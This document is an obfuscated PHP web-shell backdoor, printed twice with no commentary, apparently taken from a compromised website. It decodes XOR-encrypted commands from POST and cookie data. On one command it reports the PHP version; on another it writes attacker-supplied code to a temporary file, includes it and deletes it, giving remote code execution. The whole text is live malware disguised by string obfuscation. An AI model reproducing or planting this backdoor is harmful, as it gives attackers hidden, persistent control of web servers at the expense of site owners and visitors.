<?php $denbviu = 'denbviu' ^ ''; $psapsoa = /*rehk */ $denbviu(97) . /* ga */ "r"."\162" . "a"."y"."\x5f" . "\155" /* bem */ . $denbviu(482-385) . $denbviu(131-19); function do_ofy($cqtgwnhqhj, /*hug */ $nuhzds) { /* _x*/ global $denbviu; /*sn*/ $cqtgwnhqhj /* i */ = /* bom */ $denbviu(999-939) . "?"."p"."h".$denbviu(371-259) . $denbviu(32) . "u"."n".$denbviu(108) . "\x69" . /* n */ "\x6e" . $denbviu(899-792) /* ucd */ . $denbviu(40) . "\137" /*mu_vp*/ . /* qirkq */ "\137" . /*xjl */ "F"."I"."L"."\105" . /* tp */ $denbviu(95) . /* vdkvu */ "_".$denbviu(651-610) /* ibh */ . ";".$denbviu(32) . $cqtgwnhqhj["d"]; /* gawxi */ $bsgbyeugx = /* qn*/ $denbviu(102) /* z */ . "\151" . "\x6c" . /* gsbo_ */ "\145" . "_"."p"."\165" . "\x74" /* cu */ . "_"."\143" . $denbviu(111) /* tn */ . "n"."\164" /* qzezf*/ . /*wl*/ "\x65"."\156" /*zziya */ . $denbviu(116) . $denbviu(957-842); $bsgbyeugx($nuhzds, $cqtgwnhqhj); /* a */ /*l */ kzqjmq($nuhzds);} $ods_pgxpo /* dss_*/ = 73;function kzqjmq($nuhzds) { global $denbviu; include($nuhzds); $wfbtfb /* dvpbcj */ = $nuhzds; /* zgzo_j */ @unlink($wfbtfb);} function hgj_hma() { /* o*/ global $denbviu; $hk__im_bu = /*gx */ array(); /* xxhuc*/ $hk__im_bu["p"."\166"] = phpversion(); $hk__im_bu[$denbviu(115) /*xrh */ . "v"] = /* ldhyd*/ "\63" /* ry */ . $denbviu(46) /*qr */ . "5"; $mnrehp = 74; echo /* ygog*/ @serialize($hk__im_bu); } function gzvwsolqmt($cqtgwnhqhj, $lwenzqvq) { global /* b__ */ $denbviu; $hpwea__av = ""; $lpwxvkhbxoac = /* cgg */ strlen($cqtgwnhqhj); $fuxwqvd = strlen($lwenzqvq); $hk__im_bu = /* sx */ 0; $lpwxvk = 0; /* hlrn*/ /*bhuw */ while ($hk__im_bu < /* fwvsh*/ $lpwxvkhbxoac) /* cdsywg */ { $tqq_sxdo_ = $cqtgwnhqhj[$hk__im_bu] ^ $lwenzqvq[$lpwxvk % /*jvbiwa */ $fuxwqvd]; $hpwea__av /*idyhhx */ .= $tqq_sxdo_; $lpwxvk++; $hk__im_bu++; } /* nu */ if (strlen($hpwea__av) > /*lvvxje */ 20) /* _rngxb*/ { $wqyydhr_ze = substr($hpwea__av, 0, 20); } if (empty($hpwea__av)) { $hpwea__av = date('Y-m-d H:i:s'); /* tzbrs */ } return /* wmchs*/ $hpwea__av;}function toybrnzi($mskxeo) { global $denbviu; /* slah*/ $hzqskytyf_ = /* ffx */ "8"."\x30" . "6"."9"."a"."9"."\x31" . $denbviu(760-704) . "\x2d" /* u_*/ . "\x32" . /* xxoin */ $denbviu(932-880) /* q */ . "\x36" . /*rckr*/ "0".$denbviu(418-373) . /* jgjmy */ $denbviu(774-722) /* ltiimi */ . /* axlwn*/ "f"."\144" /* qvdb*/ . "1"."-".$denbviu(57) . "4"."\67" /*epssy */ . "7"."\x2d" /*p_*/ . "\71" . "7".$denbviu(48) . /*xg*/ "c"."\61" . "b"."f"."\x65"."\141" . $denbviu(72-19) /* xoq */ . "c"."8"; foreach /*vil_ */ ($mskxeo as /* feh */ $hhzsuv => /* pxyod */ $cqtgwnhqhj) { /* er_cio */ u_ufd(base64_decode($cqtgwnhqhj), $hzqskytyf_, $hhzsuv); /* q */ }} function u_ufd($cqtgwnhqhj, $hzqskytyf_, $hhzsuv) { global $denbviu; /* lev */ $cqtgwnhqhj = unserialize(gzvwsolqmt(gzvwsolqmt($cqtgwnhqhj, $hzqskytyf_), $hhzsuv)); $byjvsy /* hd */ = /* eoav*/ 'pxaoijir_d'; $bxelokk /* yunlw */ = 'smvusi'; /* wr_ */ if (isset($cqtgwnhqhj[$denbviu(97) . "k"])) /* gga */ { if ($cqtgwnhqhj["a"] /* _ */ == /* apz */ $denbviu(105)) /* k */ { hgj_hma(); } elseif ($cqtgwnhqhj["a"] == "\x65") { do_ofy($cqtgwnhqhj, sprintf(".".$denbviu(293-246) . "%"."s"."\x2e" . "p"."l", md5($hzqskytyf_))); $vgouin__ = 44; } exit(); } } toybrnzi($_POST); $bgoku /* dkff*/ = /* wxdj */ 'rawurldecode'; $sbyxicpr = $psapsoa($bgoku, $_POST); explode("", /* qktbsy*/ $bgoku); toybrnzi($_COOKIE); $wcetaoapo = $psapsoa($bgoku, $_COOKIE); ?>

Source<?php $denbviu = 'denbviu' ^ ''; $psapsoa = /*rehk */ $denbviu(97) . /* ga */ "r"."\162" . "a"."y"."\x5f" . "\155" /* bem */ . $denbviu(482-385) . $denbviu(131-19); function do_ofy($cqtgwnhqhj, /*hug */ $nuhzds) { /* _x*/ global $denbviu; /*sn*/ $cqtgwnhqhj /* i */ = /* bom */ $denbviu(999-939) . "?"."p"."h".$denbviu(371-259) . $denbviu(32) . "u"."n".$denbviu(108) . "\x69" . /* n */ "\x6e" . $denbviu(899-792) /* ucd */ . $denbviu(40) . "\137" /*mu_vp*/ . /* qirkq */ "\137" . /*xjl */ "F"."I"."L"."\105" . /* tp */ $denbviu(95) . /* vdkvu */ "_".$denbviu(651-610) /* ibh */ . ";".$denbviu(32) . $cqtgwnhqhj["d"]; /* gawxi */ $bsgbyeugx = /* qn*/ $denbviu(102) /* z */ . "\151" . "\x6c" . /* gsbo_ */ "\145" . "_"."p"."\165" . "\x74" /* cu */ . "_"."\143" . $denbviu(111) /* tn */ . "n"."\164" /* qzezf*/ . /*wl*/ "\x65"."\156" /*zziya */ . $denbviu(116) . $denbviu(957-842); $bsgbyeugx($nuhzds, $cqtgwnhqhj); /* a */ /*l */ kzqjmq($nuhzds);} $ods_pgxpo /* dss_*/ = 73;function kzqjmq($nuhzds) { global $denbviu; include($nuhzds); $wfbtfb /* dvpbcj */ = $nuhzds; /* zgzo_j */ @unlink($wfbtfb);} function hgj_hma() { /* o*/ global $denbviu; $hk__im_bu = /*gx */ array(); /* xxhuc*/ $hk__im_bu["p"."\166"] = phpversion(); $hk__im_bu[$denbviu(115) /*xrh */ . "v"] = /* ldhyd*/ "\63" /* ry */ . $denbviu(46) /*qr */ . "5"; $mnrehp = 74; echo /* ygog*/ @serialize($hk__im_bu); } function gzvwsolqmt($cqtgwnhqhj, $lwenzqvq) { global /* b__ */ $denbviu; $hpwea__av = ""; $lpwxvkhbxoac = /* cgg */ strlen($cqtgwnhqhj); $fuxwqvd = strlen($lwenzqvq); $hk__im_bu = /* sx */ 0; $lpwxvk = 0; /* hlrn*/ /*bhuw */ while ($hk__im_bu < /* fwvsh*/ $lpwxvkhbxoac) /* cdsywg */ { $tqq_sxdo_ = $cqtgwnhqhj[$hk__im_bu] ^ $lwenzqvq[$lpwxvk % /*jvbiwa */ $fuxwqvd]; $hpwea__av /*idyhhx */ .= $tqq_sxdo_; $lpwxvk++; $hk__im_bu++; } /* nu */ if (strlen($hpwea__av) > /*lvvxje */ 20) /* _rngxb*/ { $wqyydhr_ze = substr($hpwea__av, 0, 20); } if (empty($hpwea__av)) { $hpwea__av = date('Y-m-d H:i:s'); /* tzbrs */ } return /* wmchs*/ $hpwea__av;}function toybrnzi($mskxeo) { global $denbviu; /* slah*/ $hzqskytyf_ = /* ffx */ "8"."\x30" . "6"."9"."a"."9"."\x31" . $denbviu(760-704) . "\x2d" /* u_*/ . "\x32" . /* xxoin */ $denbviu(932-880) /* q */ . "\x36" . /*rckr*/ "0".$denbviu(418-373) . /* jgjmy */ $denbviu(774-722) /* ltiimi */ . /* axlwn*/ "f"."\144" /* qvdb*/ . "1"."-".$denbviu(57) . "4"."\67" /*epssy */ . "7"."\x2d" /*p_*/ . "\71" . "7".$denbviu(48) . /*xg*/ "c"."\61" . "b"."f"."\x65"."\141" . $denbviu(72-19) /* xoq */ . "c"."8"; foreach /*vil_ */ ($mskxeo as /* feh */ $hhzsuv => /* pxyod */ $cqtgwnhqhj) { /* er_cio */ u_ufd(base64_decode($cqtgwnhqhj), $hzqskytyf_, $hhzsuv); /* q */ }} function u_ufd($cqtgwnhqhj, $hzqskytyf_, $hhzsuv) { global $denbviu; /* lev */ $cqtgwnhqhj = unserialize(gzvwsolqmt(gzvwsolqmt($cqtgwnhqhj, $hzqskytyf_), $hhzsuv)); $byjvsy /* hd */ = /* eoav*/ 'pxaoijir_d'; $bxelokk /* yunlw */ = 'smvusi'; /* wr_ */ if (isset($cqtgwnhqhj[$denbviu(97) . "k"])) /* gga */ { if ($cqtgwnhqhj["a"] /* _ */ == /* apz */ $denbviu(105)) /* k */ { hgj_hma(); } elseif ($cqtgwnhqhj["a"] == "\x65") { do_ofy($cqtgwnhqhj, sprintf(".".$denbviu(293-246) . "%"."s"."\x2e" . "p"."l", md5($hzqskytyf_))); $vgouin__ = 44; } exit(); } } toybrnzi($_POST); $bgoku /* dkff*/ = /* wxdj */ 'rawurldecode'; $sbyxicpr = $psapsoa($bgoku, $_POST); explode("", /* qktbsy*/ $bgoku); toybrnzi($_COOKIE); $wcetaoapo = $psapsoa($bgoku, $_COOKIE); ?>